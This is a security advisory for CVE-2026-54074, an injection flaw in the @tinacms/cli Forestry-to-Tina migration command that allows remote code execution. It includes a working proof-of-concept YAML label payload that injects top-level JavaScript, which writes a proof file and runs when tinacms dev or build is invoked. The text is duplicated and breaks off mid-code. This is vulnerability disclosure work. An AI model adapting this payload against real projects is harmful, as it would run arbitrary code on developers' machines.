CVE-2026-54074

Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "TINA_INTERNAL:::(.?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges. This issue has been fixed in version 2.4.3.

Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "TINA_INTERNAL:::(.?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges. This issue has been fixed in version 2.4.3.

Description

Summary

@tinacms/cli contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/*.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges.

Details

Vulnerable code path:

1. packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts — transformForestryFieldsToTinaFields() writes forestryField.label (and .name) straight into TinaField objects (no sanitisation).

2. packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts, lines 16-22 — the regex-based unquoter:

   export const addVariablesToCode = (codeWithTinaPrefix: string) => {
     const code = codeWithTinaPrefix.replace(
       /"__TINA_INTERNAL__:::(.*?):::"/g,
       '$1'
     );
     return { code };
   };
   

3. codeTransformer.ts lines 80-88 — the field array is JSON.stringify-ed and then handed to addVariablesToCode. Because JSON.stringify does not escape single quotes or backticks, an attacker who avoids " in the payload survives the JSON pass intact.

4. packages/@tinacms/cli/src/cmds/init/apply.ts lines 110-116 — the resulting string is written to tina/templates.{ts,js} and imported by the generated tina/config.{ts,js}, which tinacms dev evaluates.

Why it executes immediately: the regex unquoting allows the attacker's payload to close the surrounding object/array and the enclosing xxxFields() function, drop a top-level IIFE, and then start a dummy function that swallows the trailing JSON. The IIFE is at module scope, so it runs the instant tina/config.ts imports ./templates.

PoC

End-to-end verified against tinacms and @tinacms/[email protected], built from commit ae1ab5d0f of tinacms/tinacms on Windows 11 + Node.js v24 (behaviour is identical on Node 22).

Step 1 — attacker prepares a malicious Forestry project

.forestry/settings.yml

---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
- type: directory
  path: content/posts
  label: Posts
  create: all
  match: "**/*.md"
  templates:
  - rce

.forestry/front_matter/templates/rce.yml

---
label: rce_template
fields:
- name: title
  type: text
  label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"

Note on payload encoding. The original disclosure draft used double quotes inside the payload (console.log("RCE")). JSON.stringify escapes those to \", which makes the generated TypeScript syntactically invalid and is rejected by Prettier before the file is written. Using single quotes or backticks for the inner string literals is required for the exploit to succeed.

Step 2 — victim runs the standard onboarding flow

git clone <attacker repo>
cd <attacker repo>
npx tinacms init       # accepts the "migrate Forestry templates?" prompt
npx tinacms dev        # OR: npx tinacms build

Step 3 — generated tina/templates.ts (verbatim, from a clean run)

import type { TinaField } from "tinacms";
export function rce_templateFields() {
  return [{ type: "string", name: "title", label: 1 }];
}
(function () {                                          // <--…

Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "TINA_INTERNAL:::(.?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges. This issue has been fixed in version 2.4.3.

Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "TINA_INTERNAL:::(.?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges. This issue has been fixed in version 2.4.3.

Description

Summary

@tinacms/cli contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/*.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges.

Details

Vulnerable code path:

1. packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts — transformForestryFieldsToTinaFields() writes forestryField.label (and .name) straight into TinaField objects (no sanitisation).

2. packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts, lines 16-22 — the regex-based unquoter:

   export const addVariablesToCode = (codeWithTinaPrefix: string) => {
     const code = codeWithTinaPrefix.replace(
       /"__TINA_INTERNAL__:::(.*?):::"/g,
       '$1'
     );
     return { code };
   };
   

3. codeTransformer.ts lines 80-88 — the field array is JSON.stringify-ed and then handed to addVariablesToCode. Because JSON.stringify does not escape single quotes or backticks, an attacker who avoids " in the payload survives the JSON pass intact.

4. packages/@tinacms/cli/src/cmds/init/apply.ts lines 110-116 — the resulting string is written to tina/templates.{ts,js} and imported by the generated tina/config.{ts,js}, which tinacms dev evaluates.

Why it executes immediately: the regex unquoting allows the attacker's payload to close the surrounding object/array and the enclosing xxxFields() function, drop a top-level IIFE, and then start a dummy function that swallows the trailing JSON. The IIFE is at module scope, so it runs the instant tina/config.ts imports ./templates.

PoC

End-to-end verified against tinacms and @tinacms/[email protected], built from commit ae1ab5d0f of tinacms/tinacms on Windows 11 + Node.js v24 (behaviour is identical on Node 22).

Step 1 — attacker prepares a malicious Forestry project

.forestry/settings.yml

---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
- type: directory
  path: content/posts
  label: Posts
  create: all
  match: "**/*.md"
  templates:
  - rce

.forestry/front_matter/templates/rce.yml

---
label: rce_template
fields:
- name: title
  type: text
  label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"

Note on payload encoding. The original disclosure draft used double quotes inside the payload (console.log("RCE")). JSON.stringify escapes those to \", which makes the generated TypeScript syntactically invalid and is rejected by Prettier before the file is written. Using single quotes or backticks for the inner string literals is required for the exploit to succeed.

Step 2 — victim runs the standard onboarding flow

git clone <attacker repo>
cd <attacker repo>
npx tinacms init       # accepts the "migrate Forestry templates?" prompt
npx tinacms dev        # OR: npx tinacms build

Step 3 — generated tina/templates.ts (verbatim, from a clean run)

import type { TinaField } from "tinacms";
export function rce_templateFields() {
  return [{ type: "string", name: "title", label: 1 }];
}
(function () {                                          // <--…